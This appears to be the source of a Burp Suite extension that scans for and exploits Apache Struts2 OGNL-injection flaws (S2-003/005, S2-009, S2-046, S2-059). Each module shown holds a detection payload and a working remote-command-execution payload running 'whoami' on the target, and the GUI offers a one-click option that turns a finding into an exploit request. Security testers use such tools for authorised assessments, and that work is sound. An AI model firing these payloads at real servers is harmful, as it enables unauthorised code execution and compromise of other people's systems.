9 | public String contentType = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2";
10 | public String requestBody =
11 | "------WebKitFormBoundaryXd004BVJN9pBYBL2\r\n" +
12 | "Content-Disposition: form-data; name=\"upload\"; filename=\"{payload}"+new String(new byte[]{0x00})+".\"\r\n" +
13 | "Content-Type: text/plain\r\n" +
14 | "\r\n" +
15 | "foo\r\n" +
16 | "------WebKitFormBoundaryXd004BVJN9pBYBL2--";
17 |
18 | public S2_046() {
19 | poc = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('xxx','"+injectMark[0]+"'+'"+injectMark[1]+"')}";
20 | exp =
21 | "%{" +
22 | "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" +
23 | ".(" +
24 | "#_memberAccess?(#_memberAccess=#dm):" +
25 | "(" +
26 | "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" +
27 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" +
28 | ".(#ognlUtil.getExcludedPackageNames().clear())" +
29 | ".(#ognlUtil.getExcludedClasses().clear())" +
30 | ".(#context.setMemberAccess(#dm))" +
31 | ")" +
32 | ")" +
33 | ".(#cmd='whoami')" +
34 | ".(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))" +
35 | ".(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))" +
36 | ".(#p=new java.lang.ProcessBuilder(#cmds))" +
37 | ".(#p.redirectErrorStream(true))" +
38 | ".(#process=#p.start())" +
39 | ".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))" +
40 | ".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))" +
41 | ".(#ros.flush())" +
42 | "}";
43 | }
44 |
45 | @Override
46 | public IScanIssue start() {
47 | List headers = requestInfo.getHeaders();
48 | Collections.replaceAll(headers, headers.get(0), headers.get(0).replace("GET", "POST"));
49 | for (String header: headers) {
50 | if (header.contains("Content-Type")) {
51 | headers.remove(header);
52 | break;
53 | }
54 | }
55 | headers.add(contentType);
56 |
57 | request = helpers.buildHttpMessage(headers, requestBody.replace("{payload}", poc).getBytes());
58 | if (check()) {
59 | this.detail = exp;
60 | return creatCustomScanIssue();
61 | }
62 | return null;
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_003_005.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.io.PrintWriter;
6 | import java.net.URLEncoder;
7 |
8 | public class S2_003_005 extends IModule {
9 | public S2_003_005() {
10 | poc =
11 | "(a)(('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(a))=1" +
12 | "&(b)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(b))=1" +
13 | "&(c)(('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(c))=1" +
14 | "&(d)(('\\u0023xman\\u003d@org.apache.struts2.ServletActionContext@getResponse()')(d))=1" +
15 | "&(e)(('\\u0023xman.getWriter().print(\"" + injectMark[0] + "\")')(e))=1" +
16 | "&(f)(('\\u0023xman.getWriter().print(\"" + injectMark[1] + "\")')(f))=1" +
17 | "&(g)(('\\u0023xman.getWriter().flush()')(g))=1" +
18 | "&(h)(('\\u0023xman.getWriter().close()')(h))=1";
19 | poc = URLEncoder.encode(poc).replace("%3D", "=").replace("%26", "&");
20 |
21 | exp =
22 | "(a)(('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(a))=1" +
23 | "&(b)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(b))=1" +
24 | "&(c)(('\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET')(c))=1" +
25 | "&(d)(('\\u0023mycmd\\u003d\\'whoami\\'')(d))=1" +
26 | "&(e)(('\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)')(e))=1" +
27 | "&(f)(('\\u0023mydat\\u003dnew\\u0020java.io.DataInputStream(\\u0023myret.getInputStream())')(f))=1" +
28 | "&(g)(('\\u0023myres\\u003dnew\\u0020byte[51020]')(g))=1" +
29 | "&(h)(('\\u0023mydat.readFully(\\u0023myres)')(h))=1" +
30 | "&(i)(('\\u0023mystr\\u003dnew\\u0020java.lang.String(\\u0023myres)')(i))=1" +
31 | "&(j)(('\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()')(j))=1" +
32 | "&(k)(('\\u0023myout.getWriter().print(\\u0023mystr)')(k))=1";
33 | exp = URLEncoder.encode(exp).replace("%3D", "=").replace("%26", "&");
34 | }
35 |
36 | @Override
37 | public IScanIssue start() {
38 | String[] parameters = poc.split("&");
39 |
40 | byte in = (byte) 0;
41 | if (requestInfo.getMethod().equals("POST")) {
42 | in = (byte) 1;
43 | }
44 | for (String parameter: parameters) {
45 | String[] split = parameter.split("=");
46 | String parameterName = split[0];
47 | String parameterValue = split[1];
48 | IParameter newParameter = helpers.buildParameter(parameterName, parameterValue, in);
49 | request = helpers.updateParameter(request, newParameter);
50 | }
51 | if (check()) {
52 | this.detail = exp;
53 | return creatCustomScanIssue();
54 | }
55 | return null;
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_059.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.IModule;
4 | import burp.IParameter;
5 | import burp.IScanIssue;
6 |
7 | import java.net.URLEncoder;
8 | import java.util.List;
9 |
10 | public class S2_059 extends IModule {
11 | public S2_059() {
12 | poc =
13 | "%{" +
14 | "(#context=#attr['struts.valueStack'].context)" +
15 | ".(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" +
16 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" +
17 | ".(#ognlUtil.setExcludedClasses(''))" +
18 | ".(#ognlUtil.setExcludedPackageNames(''))" +
19 | ".(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))" +
20 | ".(#res=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())" +
21 | ".(#res.print('"+ injectMark[0] +"'))" +
22 | ".(#res.print('"+ injectMark[1] +"'))" +
23 | ".(#res.flush())" +
24 | ".(#res.close())}";
25 | poc = URLEncoder.encode(poc);
26 |
27 | //有待商榷,某些版本struts中不一定能使用构造函数
28 | exp =
29 | "%{" +
30 | "(#context=#attr['struts.valueStack'].context)" +
31 | ".(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" +
32 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" +
33 | ".(#ognlUtil.setExcludedClasses(''))" +
34 | ".(#ognlUtil.setExcludedPackageNames(''))" +
35 | ".(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))" +
36 | ".(#res=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())" +
37 | ".(#a=(new java.lang.ProcessBuilder('whoami')).start())" +
38 | ".(#b=#a.getInputStream())" +
39 | ".(#c=new java.io.InputStreamReader(#b))" +
40 | ".(#d=new java.io.BufferedReader(#c))" +
41 | ".(#e=new char[50])" +
42 | ".(#d.read(#e))" +
43 | ".(#res.print(#e))" +
44 | ".(#res.flush())" +
45 | ".(#res.close())" +
46 | "}";
47 | exp = URLEncoder.encode(exp);
48 | }
49 |
50 | @Override
51 | public IScanIssue start() {
52 | List parameters = requestInfo.getParameters();
53 | for (IParameter parameter: parameters) {
54 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) {
55 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType());
56 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter);
57 | if (check()) {
58 | this.detail = exp;
59 | return creatCustomScanIssue();
60 | }
61 | }
62 | }
63 | return super.start();
64 | }
65 | }
66 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_009.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.net.URLEncoder;
6 | import java.util.List;
7 |
8 | public class S2_009 extends IModule {
9 | public S2_009() {
10 | String format = "abcedfghij=%s&z[(abcedfghij)('meh')]=true";
11 | poc =
12 | "(" +
13 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," +
14 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," +
15 | "#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET," +
16 | "#out=@org.apache.struts2.ServletActionContext@getResponse()," +
17 | "#out.getWriter().print(\"" + injectMark[0] + "\")," +
18 | "#out.getWriter().print(\"" + injectMark[1] + "\")," +
19 | "#out.getWriter().flush()," +
20 | "#out.getWriter().close()" +
21 | ")(meh)";
22 | poc = String.format(format, URLEncoder.encode(poc));
23 |
24 | exp =
25 | "(" +
26 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," +
27 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," +
28 | "#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET," +
29 | "#cmd=\"whoami\"," +
30 | "#ret=@java.lang.Runtime@getRuntime().exec(#cmd)," +
31 | "#data=new java.io.DataInputStream(#ret.getInputStream())," +
32 | "#res=new byte[4]," +
33 | "#data.readFully(#res)," +
34 | "#echo=new java.lang.String(#res)," +
35 | "#out=@org.apache.struts2.ServletActionContext@getResponse()," +
36 | "#out.getWriter().print(#echo)," +
37 | "#out.getWriter().flush()," +
38 | "#out.getWriter().close()" +
39 | ")(meh)";
40 | exp = String.format(format, URLEncoder.encode(exp));
41 | }
42 |
43 | //不清楚这个poc为啥可以在无参数传入时也可用
44 | // public String poc2 = "class.classLoader.jarPath=%28%23context[\"xwork.MethodAccessor.denyMethodExecution\"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]";
45 |
46 | @Override
47 | public IScanIssue start(){
48 | List parameters = requestInfo.getParameters();
49 | parameters.add(helpers.buildParameter("class.classLoader.jarPath", "1", (byte) 0));
50 | for (IParameter parameter: parameters) {
51 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) {
52 | String toPoc = poc.replace("abcedfghij", parameter.getName());
53 |
54 | String[] params = toPoc.split("&");
55 | for (String param : params) {
56 | String[] tmp = param.split("=", 2);
57 | String parameterName = tmp[0];
58 | String parameterValue = tmp[1];
59 |
60 | IParameter newParameter = helpers.buildParameter(parameterName, parameterValue, parameter.getType());
61 | request = helpers.updateParameter(request, newParameter);
62 | }
63 | if (check()) {
64 | this.detail = exp;
65 | return creatCustomScanIssue();
66 | }
67 | }
68 | }
69 |
70 | return null;
71 | }
72 | }
73 |
--------------------------------------------------------------------------------
/src/main/java/burp/BurpExtender.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 |
4 | import module.*;
5 |
6 | import java.awt.*;
7 | import java.io.PrintWriter;
8 | import java.net.URL;
9 | import java.util.ArrayList;
10 | import java.util.List;
11 |
12 | public class BurpExtender implements IBurpExtender, IScannerCheck, ITab {
13 | public static IBurpExtenderCallbacks callbacks;
14 | public static IExtensionHelpers helpers;
15 | public static PrintWriter stdout;
16 | public static PrintWriter stderr;
17 | public static ArrayList filterUrls = new ArrayList<>();
18 | public static ArrayList modules = new ArrayList<>();
19 | public static final List log = new ArrayList<>();
20 |
21 | public static String extName = "Struts2Burp";
22 | public static String banner =
23 | "[+] https://github.com/x1a0t/Struts2Burp\n" +
24 | "[+] Load Success!";
25 |
26 | public BurpExtender() {
27 | modules.add(new S2_001());
28 | modules.add(new S2_003_005());
29 | modules.add(new S2_007());
30 | modules.add(new S2_009());
31 | modules.add(new S2_012());
32 | modules.add(new S2_013_014());
33 | modules.add(new S2_015());
34 | modules.add(new S2_016());
35 | modules.add(new S2_032());
36 | modules.add(new S2_045());
37 | modules.add(new S2_046());
38 | modules.add(new S2_057());
39 | modules.add(new S2_059());
40 | modules.add(new S2_061());
41 | modules.add(new Devmode());
42 | }
43 | public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) {
44 | callbacks = iBurpExtenderCallbacks;
45 | helpers = callbacks.getHelpers();
46 |
47 | callbacks.setExtensionName(extName);
48 | callbacks.registerScannerCheck(this);
49 | callbacks.addSuiteTab(this);
50 |
51 | stdout = new PrintWriter(callbacks.getStdout(), true);
52 | stderr = new PrintWriter(callbacks.getStderr(), true);
53 | stdout.println(banner);
54 | }
55 |
56 | public List doPassiveScan(IHttpRequestResponse iHttpRequestResponse) {
57 | ArrayList iScanIssues = new ArrayList<>();
58 | URL url = helpers.analyzeRequest(iHttpRequestResponse).getUrl();
59 |
60 | String path = url.getPath().split(";")[0];
61 |
62 | if (path.endsWith(".do") || path.endsWith(".action")) {
63 | //貌似burp的被动扫描自己有
64 | // if (filterUrls.contains(url)) {
65 | // return null;
66 | // }
67 | // filterUrls.add(url);
68 | for (IModule module: modules) {
69 | module.init(iHttpRequestResponse);
70 | }
71 |
72 | for (IModule module: modules) {
73 | IScanIssue scanIssue = module.start();
74 | if (scanIssue != null) {
75 | iScanIssues.add(scanIssue);
76 | }
77 | }
78 | }
79 |
80 | return iScanIssues;
81 | }
82 |
83 | public List doActiveScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) {
84 | return null;
85 | }
86 |
87 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) {
88 | if (iScanIssue.getIssueName().equals(iScanIssue1.getIssueName())) {
89 | return -1;
90 | } else {
91 | return 0;
92 | }
93 | }
94 |
95 | @Override
96 | public String getTabCaption() {
97 | return extName;
98 | }
99 |
100 | @Override
101 | public Component getUiComponent() {
102 | GUI gui = new GUI();
103 | return gui.getRootComponent();
104 | }
105 | }
106 |
--------------------------------------------------------------------------------
/src/main/java/burp/IModule.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.lang.reflect.InvocationTargetException;
4 | import java.lang.reflect.Method;
5 | import java.net.URL;
6 | import java.net.URLEncoder;
7 | import java.nio.charset.StandardCharsets;
8 | import java.util.Arrays;
9 | import java.util.List;
10 | import java.util.concurrent.ExecutorService;
11 | import java.util.concurrent.Executors;
12 |
13 | public class IModule {
14 | public IBurpExtenderCallbacks callbacks;
15 | public IExtensionHelpers helpers;
16 | public IHttpRequestResponse iHttpRequestResponse;
17 | public IRequestInfo requestInfo;
18 | public IHttpService httpService;
19 | public byte[] request;
20 |
21 | public URL url;
22 | public String detail;
23 | public String severity;
24 | public String moduleName;
25 |
26 | public String poc;
27 | public String exp;
28 | public String randomMark = Util.getRandomString(16);
29 | public String[] injectMark = new String[]{randomMark.substring(0, 9), randomMark.substring(9, 16)};
30 |
31 | public void init(IHttpRequestResponse iHttpRequestResponse) {
32 | this.helpers = BurpExtender.helpers;
33 | this.callbacks = BurpExtender.callbacks;
34 | this.iHttpRequestResponse = iHttpRequestResponse;
35 | this.requestInfo = BurpExtender.helpers.analyzeRequest(iHttpRequestResponse);
36 | this.httpService = iHttpRequestResponse.getHttpService();
37 | this.request = iHttpRequestResponse.getRequest();
38 |
39 |
40 |
41 | this.url = BurpExtender.helpers.analyzeRequest(iHttpRequestResponse).getUrl();
42 | this.detail = "No detail";
43 | this.severity = "High";
44 | String[] tmp = this.getClass().getName().split("\\.");
45 | this.moduleName = tmp[tmp.length-1];
46 | }
47 |
48 | public IScanIssue start() {
49 | return null;
50 | }
51 |
52 | public boolean check() {
53 | return this.check(randomMark);
54 | }
55 |
56 | public boolean check(String mark) {
57 | IHttpRequestResponse newHttpRequestResponse = BurpExtender.callbacks.makeHttpRequest(httpService, request);
58 | this.iHttpRequestResponse = newHttpRequestResponse;
59 | byte[] response = newHttpRequestResponse.getResponse();
60 | String responseText = BurpExtender.helpers.bytesToString(response);
61 | boolean isVul = responseText.contains(mark);
62 | IModule vulClass = null;
63 | if(isVul) {
64 | vulClass = this;
65 | }
66 | addLog(url, iHttpRequestResponse, moduleName, vulClass);
67 | return isVul;
68 | }
69 |
70 | public IScanIssue creatCustomScanIssue() {
71 | String name = String.format("[%s] %s", BurpExtender.extName, moduleName);
72 | return new CustomScanIssue(name, url, httpService, new IHttpRequestResponse[]{iHttpRequestResponse}, detail, severity);
73 | }
74 |
75 | public void addLog(URL url, IHttpRequestResponse requestResponse, String payload, IModule vulClass) {
76 | ExecutorService executorService = Executors.newSingleThreadExecutor();
77 | executorService.submit(new Runnable() {
78 | @Override
79 | public void run() {
80 | synchronized(BurpExtender.log) {
81 | int row = BurpExtender.log.size();
82 | BurpExtender.log.add(new LogEntry(url, requestResponse, payload, vulClass));
83 | GUI.logTable.getHttpLogTableModel().fireTableRowsInserted(row, row);
84 | }
85 | }
86 | });
87 | // int row = BurpExtender.log.size();
88 | // BurpExtender.log.add(new LogEntry(url, requestResponse, payload, vulClass));
89 | // GUI.logTable.getHttpLogTableModel().fireTableRowsInserted(row, row);
90 | }
91 |
92 | public byte[] makeExploit() {
93 | //更新当前请求数据
94 | requestInfo = helpers.analyzeRequest(iHttpRequestResponse);
95 | //替换请求包中的poc为exp
96 | List headers = requestInfo.getHeaders();
97 | for (String header: headers) {
98 | if (header.contains(poc)) {
99 | int i = headers.indexOf(header);
100 | headers.remove(header);
101 | headers.add(i, header.replace(poc, exp));
102 | break;
103 | }
104 | }
105 |
106 | int bodyOffset = requestInfo.getBodyOffset();
107 | byte[] requestBody = Arrays.copyOfRange(request, bodyOffset, request.length);
108 | byte[] body = helpers.bytesToString(requestBody).replace(poc, exp).getBytes();
109 |
110 | return helpers.buildHttpMessage(headers, body);
111 | }
112 |
113 | }
114 |
--------------------------------------------------------------------------------
/src/main/java/burp/GUI.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.*;
4 | import java.awt.*;
5 | import java.awt.event.MouseAdapter;
6 | import java.awt.event.MouseEvent;
7 |
8 | public class GUI implements IMessageEditorController {
9 | private JPanel rootPanel;
10 |
11 | public static HttpLogTable logTable;
12 | public static IMessageEditor requestViewer;
13 | public static IMessageEditor responseViewer;
14 | public static IHttpRequestResponse currentlyDisplayedItem;
15 |
16 | public IModule iModule;
17 |
18 | public GUI() {
19 | setupUI();
20 | }
21 |
22 | private void setupUI() {
23 | JSplitPane splitPanel = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
24 | splitPanel.setDividerLocation(0.5);
25 |
26 | HttpLogTableModel model = new HttpLogTableModel();
27 | logTable = new HttpLogTable(model);
28 |
29 | JScrollPane scrollPane = new JScrollPane(logTable);
30 | splitPanel.setTopComponent(scrollPane);
31 |
32 | JTabbedPane tabs = new JTabbedPane();
33 | requestViewer = BurpExtender.callbacks.createMessageEditor(this, false);
34 | responseViewer = BurpExtender.callbacks.createMessageEditor(this, false);
35 |
36 | tabs.addTab("Request", requestViewer.getComponent());
37 | tabs.addTab("Response", responseViewer.getComponent());
38 | splitPanel.setBottomComponent(tabs);
39 |
40 |
41 | BurpExtender.callbacks.customizeUiComponent(logTable);
42 | BurpExtender.callbacks.customizeUiComponent(splitPanel);
43 | BurpExtender.callbacks.customizeUiComponent(scrollPane);
44 |
45 | rootPanel = new JPanel();
46 | rootPanel.setLayout(new BorderLayout());
47 | splitPanel.setOrientation(JSplitPane.VERTICAL_SPLIT);
48 | rootPanel.add(splitPanel, BorderLayout.CENTER);
49 |
50 | logTable.addMouseListener(new MouseAdapter() {
51 | @Override
52 | public void mouseClicked(MouseEvent e) {
53 | if (e.getButton() == MouseEvent.BUTTON3) {
54 | int row = logTable.getSelectedRow();
55 | logTable.setRowSelectionInterval(row, row);
56 | LogEntry logEntry = BurpExtender.log.get(row);
57 |
58 | JPopupMenu jPopupMenu = new JPopupMenu();
59 |
60 | JMenuItem clear_all = new JMenuItem("Clear All");
61 | clear_all.addActionListener(event -> {
62 | int n = JOptionPane.showConfirmDialog(null, "Are you sure you want to clear the data?", "Struts2Burp Client Prompt", JOptionPane.YES_NO_OPTION);
63 | if (n == 0) {
64 | BurpExtender.log.clear();
65 | logTable.getHttpLogTableModel().fireTableDataChanged();
66 | logTable.updateUI();
67 | requestViewer.setMessage("".getBytes(), false);
68 | responseViewer.setMessage("".getBytes(), false);
69 | }
70 | });
71 | jPopupMenu.add(clear_all);
72 |
73 | JMenuItem clear_other = new JMenuItem("Clear Other");
74 | clear_other.addActionListener(event -> BurpExtender.log.removeIf(logEntry1 -> logEntry1.vulClass == null));
75 | jPopupMenu.add(clear_other);
76 |
77 | if (logEntry.vulClass != null) {
78 | JMenuItem exp_in_repeater = new JMenuItem("Exp In Repeater");
79 | exp_in_repeater.addActionListener(event -> {
80 | byte[] exploit = logEntry.vulClass.makeExploit();
81 | IHttpService httpService = logEntry.requestResponse.getHttpService();
82 | String protocol = httpService.getProtocol();
83 | BurpExtender.callbacks.sendToRepeater(httpService.getHost(), httpService.getPort(), protocol.startsWith("https://"), exploit, null);
84 | });
85 | jPopupMenu.add(exp_in_repeater);
86 | }
87 |
88 | jPopupMenu.show(logTable, e.getX(), e.getY());
89 | }
90 | }
91 | });
92 | }
93 |
94 | public JComponent getRootComponent() {
95 | return rootPanel;
96 | }
97 |
98 | @Override
99 | public IHttpService getHttpService() {
100 | return currentlyDisplayedItem.getHttpService();
101 | }
102 |
103 | @Override
104 | public byte[] getRequest() {
105 | return currentlyDisplayedItem.getRequest();
106 | }
107 |
108 | @Override
109 | public byte[] getResponse() {
110 | return currentlyDisplayedItem.getResponse();
111 | }
112 |
113 | }
114 |
--------------------------------------------------------------------------------